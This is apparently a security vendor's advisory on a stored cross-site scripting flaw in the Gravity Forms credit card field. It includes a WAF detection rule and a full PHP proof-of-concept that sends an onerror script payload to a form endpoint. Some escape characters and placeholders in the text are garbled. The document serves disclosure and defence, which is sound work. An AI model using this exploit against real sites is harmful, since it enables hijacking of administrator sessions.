Atomic Edge analysis of CVE-2026-4394 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Gravity Forms WordPress plugin. The issue exists in the Credit Card field’s ‘Card Type’ sub-field, identified by the parameter pattern `input_.4`. Attackers can inject malicious scripts that persist in form entries and execute when administrators view those entries in the WordPress dashboard. The CVSS 6.1 score reflects the network accessibility, low attack complexity, and scope change impact.
Atomic Edge research identifies the root cause as a two-part failure. The `get_value_save_entry()` method in the `GF_Field_CreditCard` class accepts and stores unsanitized user input for the `input_.4` parameter. The `get_value_entry_detail()` method then outputs this stored value without proper escaping. The description confirms both improper input validation and missing output escaping. The Card Type field is not rendered on frontend forms, but the backend submission parser blindly accepts it if included in POST requests. These conclusions are inferred from the CWE-79 classification and the vulnerability description, as no source code diff is available for verification.
Exploitation requires an attacker to submit a crafted POST request to a Gravity Forms submission endpoint. The attacker must identify a form containing a Credit Card field and determine its field ID. The payload targets the `input_.4` parameter, where “ is the numeric field ID. A typical payload might be `alert(document.domain)`. Since the vulnerability is unauthenticated, the attacker needs no privileges and can target any publicly accessible form submission handler. The script executes in the administrator’s session when viewing the infected entry, potentially allowing session hijacking or administrative actions.
The fix likely involves implementing proper input sanitization and output escaping. Developers should sanitize the `input_.4` parameter value before storage using WordPress sanitization functions like `sanitize_text_field()`. The `get_value_entry_detail()` method must escape the output using appropriate context-aware functions like `esc_html()`. The patch may also include validation to reject unexpected Card Type values, since this field should normally be derived automatically from the card number. These remediation steps align with WordPress coding standards for preventing XSS vulnerabilities.
Successful exploitation leads to stored XSS payload execution in the WordPress administrator dashboard. Attackers can perform actions with administrator privileges, including creating new administrative users, modifying plugin settings, injecting backdoors, or stealing sensitive data. The scope change (S:C in CVSS) indicates the vulnerability can affect the WordPress admin area beyond the immediate plugin context. While the vulnerability does not directly enable remote code execution, compromised administrator accounts can lead to full site takeover through subsequent actions.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4394 (metadata-based)
# This rule blocks exploitation of the Gravity Forms Card Type XSS vulnerability.
# It targets the specific parameter pattern 'input_*.4' used in form submissions.
# The rule is narrowly scoped to match Gravity Forms submission endpoints.
SecRule REQUEST_METHOD "@streq POST"
"id:20264394,phase:2,deny,status:403,chain,msg:'CVE-2026-4394: Gravity Forms Credit Card Field Stored XSS',severity:'CRITICAL',tag:'CVE-2026-4394',tag:'WordPress',tag:'Plugin',tag:'GravityForms',tag:'XSS'"
SecRule REQUEST_URI "@rx /(?:index.php)?$"
"chain,t:none"
SecRule ARGS_POST:form_id "@rx ^d+$"
"chain,t:none"
SecRule ARGS_POST_NAMES "@rx ^input_d+.4$"
"chain,t:none"
SecRule ARGS_POST "@detectXSS"
"t:lowercase,t:urlDecode,t:htmlEntityDecode,t:jsDecode,t:cssDecode,t:removeNulls,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4394 - Gravity Forms <= 2.9.30 - Unauthenticated Stored Cross-Site Scripting via Credit Card 'Card Type' Sub-Field
<?php
/**
* Proof of Concept for CVE-2026-4394
* Assumptions based on vulnerability description:
* 1. The target form has a Credit Card field with a known field ID.
* 2. The form submission endpoint accepts POST requests without authentication.
* 3. The 'Card Type' sub-field parameter uses the pattern 'input_<ID>.4'.
* 4. Standard Gravity Forms submission handling is in place.
*/
$target_url = "https://example.com/"; // CHANGE THIS
$form_id = 1; // CHANGE THIS - Target form ID
$field_id = 5; // CHANGE THIS - Credit Card field ID within the form
// XSS payload - executes when admin views the entry
$payload = '<img src=x onerror=alert("XSS via CVE-2026-4394 - "+document.domain)>';
// Construct the malicious parameter
$parameter_name = "input_{$field_id}.4";
// Build POST data simulating a form submission
$post_data = [
"form_id" => $form_id,
$parameter_name => $payload,
// Include other required fields for the Credit Card field
"input_{$field_id}.1" => "4111111111111111", // Card number
"input_{$field_id}.2" => "12", // Expiration month
"input_{$field_id}.3" => "30", // Expiration year
"input_{$field_id}.5" => "123", // Security code
// Standard Gravity Forms submission parameters
"gform_submit" => $form_id,
"gform_unique_id" => "",
"state_{$form_id}" => "",
"gform_target_page_number_{$form_id}" => "0",
"gform_source_page_number_{$form_id}" => "1",
"gform_field_values" => "",
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type: application/x-www-form-urlencoded',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
]);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: {$http_code}n";
echo "Payload sent to parameter: {$parameter_name}n";
echo "If successful, the XSS will trigger when an admin views the form entry.n";
}
curl_close($ch);
?>
